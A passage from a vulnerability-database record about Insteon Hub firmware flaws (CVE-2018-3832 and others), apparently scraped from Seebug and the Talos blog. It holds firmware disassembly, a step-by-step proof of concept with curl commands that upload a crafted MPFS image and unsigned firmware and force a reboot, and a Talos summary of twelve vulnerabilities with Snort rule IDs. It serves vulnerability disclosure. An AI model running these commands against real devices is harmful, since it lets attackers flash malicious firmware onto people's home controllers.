byte_A0000DB4\r\nseg000:9D02F870 038 01 A0 02 3C+ la $v0, insteon_post_buffer\r\nseg000:9D02F878 038 00 10 44 24 addiu $a0, $v0, (byte_A000C354 - 0xA000B354)\r\nseg000:9D02F87C 038 2D 00 03 24 li $v1, 0x2D\r\nseg000:9D02F880 038 00 00 43 A0 sb $v1, (insteon_post_buffer - 0xA000B354)($v0)\r\nseg000:9D02F884\r\nseg000:9D02F884 loc_9D02F884:\r\nseg000:9D02F884 038 01 00 42 24 addiu $v0, 1\r\nseg000:9D02F888 038 FE FF 44 54 bnel $v0, $a0, loc_9D02F884\r\nseg000:9D02F88C 038 00 00 43 A0 sb $v1, 0($v0)\r\nseg000:9D02F890 038 98 81 92 8F lw $s2, (dword_A00001C8 - unk_A0008030)($gp)\r\nseg000:9D02F894 038 02 8E 12 00 srl $s1, $s2, 24\r\nseg000:9D02F898 038 A8 96 41 0F jal btohexa_high\r\nseg000:9D02F89C 038 21 20 20 02 move $a0, $s1\r\nseg000:9D02F8A0 038 01 A0 10 3C lui $s0, 0xA001\r\nseg000:9D02F8A4 038 54 B3 02 A2 sb $v0, insteon_post_buffer\r\nseg000:9D02F8A8 038 AF 96 41 0F jal btohexa_low\r\nseg000:9D02F8AC 038 21 20 20 02 move $a0, $s1\r\nseg000:9D02F8B0 038 54 B3 11 26 addiu $s1, $s0, (insteon_post_buffer - 0xA0010000) # [14]\r\nseg000:9D02F8B4 038 01 00 22 A2 sb $v0, (byte_A000B355 - 0xA000B354)($s1)\r\nseg000:9D02F8B8 038 00 3C 50 7E ext $s0, $s2, 0x10, 8\r\nseg000:9D02F8BC 038 A8 96 41 0F jal btohexa_high\r\nseg000:9D02F8C0 038 21 20 00 02 move $a0, $s0\r\nseg000:9D02F8C4 038 02 00 22 A2 sb $v0, (byte_A000B356 - 0xA000B354)($s1)\r\nseg000:9D02F8C8 038 AF 96 41 0F jal btohexa_low\r\nseg000:9D02F8CC 038 21 20 00 02 move $a0, $s0\r\nseg000:9D02F8D0 038 03 00 22 A2 sb $v0, (byte_A000B357 - 0xA000B354)($s1)\r\nseg000:9D02F8D4 038 00 3A 50 7E ext $s0, $s2, 8, 8\r\nseg000:9D02F8D8 038 A8 96 41 0F jal btohexa_high\r\nseg000:9D02F8DC 038 21 20 00 02 move $a0, $s0\r\nseg000:9D02F8E0 038 04 00 22 A2 sb $v0, (byte_A000B358 - 0xA000B354)($s1)\r\nseg000:9D02F8E4 038 AF 96 41 0F jal btohexa_low\r\nseg000:9D02F8E8 038 21 20 00 02 move $a0, $s0\r\nseg000:9D02F8EC 038 05 00 22 A2 sb $v0, (byte_A000B359 - 0xA000B354)($s1)\r\nseg000:9D02F8F0 038 FF 00 50 32 andi $s0, $s2, 0xFF\r\nseg000:9D02F8F4 038 A8 96 41 0F jal btohexa_high\r\nseg000:9D02F8F8 038 21 20 00 02 move $a0, $s0\r\nseg000:9D02F8FC 038 06 00 22 A2 sb $v0, (byte_A000B35A - 0xA000B354)($s1)\r\nseg000:9D02F900 038 AF 96 41 0F jal btohexa_low\r\nseg000:9D02F904 038 21 20 00 02 move $a0, $s0\r\nseg000:9D02F908 038 07 00 22 A2 sb $v0, (byte_A000B35B - 0xA000B354)($s1)\r\nseg000:9D02F90C 038 21 20 20 02 move $a0, $s1 # [15]\r\nseg000:9D02F910 038 1F 00 10 3C lui $s0, 0x1F\r\nseg000:9D02F914 038 00 F0 05 36 ori $a1, $s0, 0xF000\r\nseg000:9D02F918 038 13 84 41 0F jal insteon_perform_fw_update # [16]\r\nseg000:9D02F91C 038 00 08 06 24 li $a2, 0x800\r\n```\r\n\r\nAfter the insteon_post_buffer is filled with the firmware, the insteon_is_fwpost_ok is checked to be 1 [13] and the firmware is passed as first parameter [15] to the function that actually writes the firmware to the internal memory [16]. No signature checks are performed throughout the entire operation, so an attacker can upload any arbitrary firmware image.\r\n\r\n### Exploit Proof-of-Concept\r\nBy exploiting this bug, an attacker could follow these steps to flash a custom firmware to the device:\r\n```\r\n1- Create an MPFS image with just one file with name \"firmware.htm\".\r\n2- Upload the custom MPFS image:\r\n $ curl -F \"i=@mpfs.bin\" -u ${sUsername}:${sPassword} \"http://${sInsteonIP}:25105/mpfsupload\"\r\n3- Modify a valid \"prod_fw.hex\" Insteon firmware at will. Finally add \"\\r\\n\\r\\n\\r\\n\" at the beginning and remove the trailing signature.\r\n4- Upload the modified firmware:\r\n $ curl --data-binary @prod_fw.hex -u ${sUsername}:${sPassword} \"http://${sInsteonIP}:25105/firmware.htm\"\r\n5- When the device is rebooted, it will flash the new firmware into its internal flash.\r\nIt's possible to force a reboot by exploiting an uninitialized variable dereference, which will trigger an exception handler that will reboot the device:\r\n $ curl -u ${sUsername}:${sPassword} \"http://${sInsteonIP}:25105/?\"\r\nThe device will take a few seconds more than usual to reboot since it will flash the new firmware before booting.\r\n```\r\n\r\n### Timeline\r\n* 2018-01-16 - Vendor Disclosure\r\n* 2018-01-18 - Vendor advised issues under evaluation\r\n* 2018-02-12 - 30 day follow up with vendor \r\n* 2018-03-09 - Vendor advised working on course of action\r\n* 2018-04-06 - Follow up with vendor on fix/timeline\r\n* 2018-04-12 - Vendor advised issues addressed & plan for beta testing\r\n* 2018-06-19 - Public disclosure", "published": "2018-06-22T00:00:00", "type": "seebug", "title": "Insteon Hub MPFS Upload Firmware Update Vulnerability(CVE-2018-3832)", "bulletinFamily": "exploit", "cvelist": ["CVE-2018-3832"], "modified": "2018-06-22T00:00:00", "id": "SSV:97358", "href": "https://www.seebug.org/vuldb/ssvid-97358", "sourceData": "", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": ""}], "talosblog": [{"lastseen": "2018-07-10T22:29:40", "bulletinFamily": "blog", "cvelist": ["CVE-2017-14443", "CVE-2017-14444", "CVE-2017-14445", "CVE-2017-14446", "CVE-2017-14447", "CVE-2017-14452", "CVE-2017-14453", "CVE-2017-14454", "CVE-2017-14455", "CVE-2017-16252", "CVE-2017-16337", "CVE-2017-16338", "CVE-2017-16339", "CVE-2017-16340", "CVE-2017-16341", "CVE-2017-16342", "CVE-2017-16343", "CVE-2017-16344", "CVE-2017-16345", "CVE-2017-16346", "CVE-2017-16347", "CVE-2017-16348", "CVE-2018-3832", "CVE-2018-3833", "CVE-2018-3834"], "description": "Vulnerabilities discovered by Claudio Bozzato of Cisco Talos \n \n\n\nTalos is disclosing twelve new vulnerabilities in Insteon Hub, ranging from remote code execution, to denial of service. The majority of the vulnerabilities have their root cause in the unsafe usage of the strcpy() function, leading either to stack overflow or global overflow. \n\n \n\n\n### Overview\n\n \n\n\nInsteon Hub is a central controller, which allows an end user to use a smartphone to connect to and manage devices in their home remotely. To enable remote interaction via the internet, [Insteon Hub](<https://www.insteon.com/>) uses an online service called PubNub.\n\nEnd users install the \"Insteon for Hub\" application on their smartphone. Both the smartphone application and Insteon Hub include the PubNub software development kit, which allows for bidirectional communication using PubNub's REST API.\n\nUnless stated otherwise, the vulnerabilities were found in Insteon Hub 2245-222 running firmware version 1012. As of firmware version 1016, these vulnerabilities are fixed, versions previous to this may be vulnerable.\n\n \n\n\n##### \n\n#### TALOS-2017-0483 - Message Handler Multiple Stack Overflow Remote Code Execution Vulnerabilities\n\nAn exploitable buffer overflow vulnerability exists in the way the device handles commands sent through the PubNub service. Specially crafted commands can cause a stack-based buffer overflow, which overwrites arbitrary data due to the use of the strcpy() function while handling the JSON request. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \nNote. CVE rules require that we assign a separate CVE to each instance of a vulnerability that can be fixed independently. \n \nCVE: CVE-2017-16252 through CVE-2017-16337 \n \nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0483>). \n \n\n\n#### TALOS-2017-0484 - Message Handler Multiple Global Overflow Remote Code Execution Vulnerabilities\n\nAn exploitable buffer overflow vulnerability exists in the way the device handles commands sent through the PubNub service. Specially crafted commands can cause a buffer overflow on a global section overwriting arbitrary data, due to the use of the strcpy() function while handling the JSON request. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \nCVE: CVE-2017-16338, CVE-2017-16339, CVE-2017-16340, CVE-2017-16341, CVE-2017-16342, CVE-2017-16343, CVE-2017-16344, CVE-2017-16345, CVE-2017-16346, CVE-2017-16347 \n \nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0484>). \n \n\n\n#### TALOS-2017-0485 - Reboot Task Denial Of Service Vulnerability\n\nAn exploitable DoS vulnerability exists in the device firmware, which allows an attacker to arbitrarily reboot the device without authentication. An attacker can send an UDP packet to trigger this vulnerability.\n\n \nCVE: CVE-2017-16348 \n \nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0485>). \n \n\n\n#### TALOS-2017-0492 - HTTPExecuteGet Firmware Update Information Leak Vulnerability\n\nThe HTTP server implementation incorrectly checks the number of GET parameters supplied, leading to an arbitrarily controlled information leak on the device's memory. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \nCVE: CVE-2017-14443 \n \nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0492>). \n \n\n\n#### TALOS-2017-0493 - HTTPExecuteGet Firmware Update URL Parameter Code Execution Vulnerability\n\nThe HTTP server implementation incorrectly handles the URL parameter during a firmware update request, leading to a buffer overflow on a global section. The library used by the vendor does provide some level of protection against buffer overflows, however. By using vulnerability TALOS-2017-0492, it is possible to bypass this protection and achieve code execution. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \nCVE: CVE-2017-14444 \n \nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0493>). \n \n\n\n#### TALOS-2017-0494 - HTTPExecuteGet Firmware Update host Parameter Buffer Overflow Vulnerability\n\nThe HTTP server implementation incorrectly handles the host parameter during a firmware update request, leading to a buffer overflow on a global section. The library used by the vendor does provide some level of protection against buffer overflows, which in this case, cannot be circumvented. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \n\n\nCVE: CVE-2017-14445\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0494>).\n\n \n\n\n#### TALOS-2017-0495 - HTTPExecuteGet Parameters Extraction Code Execution Vulnerability\n\nThe HTTP server implementation unsafely extracts parameters from the query string, leading to a buffer overflow on the stack. The vulnerability exists because the extraction of the arguments is made without ensuring size constraints. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \n\n\nCVE: CVE-2017-14446\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0495>).\n\n \n\n\n#### TALOS-2017-0496 - Insteon Hub PubNub \"ad\" Channel Message Handler Code Execution Vulnerability\n\nAn exploitable buffer overflow vulnerability exists in the PubNub message handler for the \"ad\" channel. A specially crafted command sent through the PubNub service can cause a stack-based buffer overflow, overwriting arbitrary data. In order to be able to send such commands, the attacker needs to be authenticated in the PubNub service.\n\n \n\n\nCVE: CVE-2017-14447\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0496>).\n\n \n\n\n#### TALOS-2017-0502 - Insteon Hub PubNub control Channel Message Handler Code Execution Vulnerabilities\n\nAn exploitable buffer overflow vulnerability exists in the way the Hub handles the replies from PubNub, leading to the overwriting of arbitrary data in a global section. The attacker would need to impersonate PubNub and answer an HTTPS GET request to trigger this vulnerability.\n\n \n\n\nCVE: CVE-2017-14452, CVE-2017-14453, CVE-2017-14454, CVE-2017-14455\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2017-0502>).\n\n \n\n\n#### TALOS-2018-0511 - Insteon Hub PubNub MPFS Upload Firmware Update Vulnerability\n\nThe HTTP server allows for uploading arbitrary MPFS binaries that could be modified to enable access to hidden resources which allow for uploading unsigned firmware images to the device. To trigger this vulnerability, an attacker needs to have credentials that will be used to upload an MPFS binary via the \"/mpfsupload\" HTTP form and, later, upload the firmware via a POST request to \"firmware.htm.\"\n\n \n\n\nThis vulnerability was found on firmware version 1013.\n\n \n\n\nCVE: CVE-2018-3832\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0511>).\n\n \n\n\n#### TALOS-2018-0512 - Insteon Hub PubNub Firmware Downgrade Vulnerability\n\nAn exploitable firmware downgrade vulnerability exists in Insteon Hub running firmware version 1013. The firmware upgrade functionality, triggered via PubNub, retrieves signed firmware binaries using plain HTTP requests. The device doesn't check the firmware version that is going to be installed, and thus allows for flashing older firmware images. To trigger this vulnerability, an attacker needs to impersonate the remote server \"cache.insteon.com\" and serve any signed firmware image.\n\n \n\n\nCVE: CVE-2018-3833\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0512>).\n\n \n\n\n#### TALOS-2018-0513 - Insteon Hub PubNub Firmware Upgrade Confusion Permanent Denial Of Service Vulnerability\n\nAn exploitable permanent DoS vulnerability exists in Insteon Hub running firmware version 1013. The firmware upgrade functionality, triggered via PubNub, retrieves signed firmware binaries using plain HTTP requests. The device doesn't check the kind of firmware image that is going to be installed, and thus allows for flashing any signed firmware into any MCU. Since the device contains different and incompatible MCUs, flashing one firmware to the wrong MCU will result in a permanent unusable condition. To trigger this vulnerability, an attacker needs to impersonate the remote server \"cache.insteon.com\" and serve a signed firmware image.\n\n \n\n\nCVE: CVE-2018-3834\n\n \n\n\nFull technical advisory is [available](<https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0513>).\n\n \n\n\n### Discussion\n\n \n\n\nOur previous vulnerability research on IoT devices ([Fosca](<http://blog.talosintelligence.com/2017/06/foscam-vuln-details.html>)[m C1](<http://blog.talosintelligence.com/2017/06/foscam-vuln-details.html>)[ Vulnerabilities](<http://blog.talosintelligence.com/2017/06/foscam-vuln-details.html>), [Circle with Disney](<http://blog.talosintelligence.com/2017/10/vulnerability-spotlight-circle.html>)) has shown that these kinds of devices are often vulnerable. \n\n \n\n\nAlthough several vulnerabilities were also found on Insteon Hub PubNub, some leading to remote code execution, it is worth mentioning that in order to exploit such vulnerabilities, the attacker needs to be in a privileged position. Some vulnerabilities require authentication into the PubNub portal. For others, the attacker needs to be in a position to perform a man-in-the-middle attack. Finally, the device itself also partially mitigates the vulnerability by limiting the size of the HTTP requests, which was proven effective in one of the vulnerabilities.\n\n \n\n\n### Coverage\n\n \n\n\nThe following Snort rules will detect exploitation attempts. Note that additional rules may be released at a future date, and current rules are subject to change, pending additional vulnerability information. For the most current rule information, please refer to your FireSIGHT Management Center or [Snort.org](<http://snort.org/>)\n\n \n\n\nSnort Rules: 45441, 45422, 44863, 45049, 45086, 45087, 44863, 45088 \n\n \n\n\n \n", "modified": "2018-06-19T15:32:34", "published": "2018-06-19T08:25:00", "id": "TALOSBLOG:DB2AAA2E62EF3827DD86FE6704A534FE", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/cPFlRcCfw9o/multiple-vuln-insteon.html", "type": "talosblog", "title": "Vulnerability Spotlight: Multiple Remote Vulnerabilities In Insteon Hub PubNub", "cvss": {"score": 0.0, "vector": "NONE"}}]}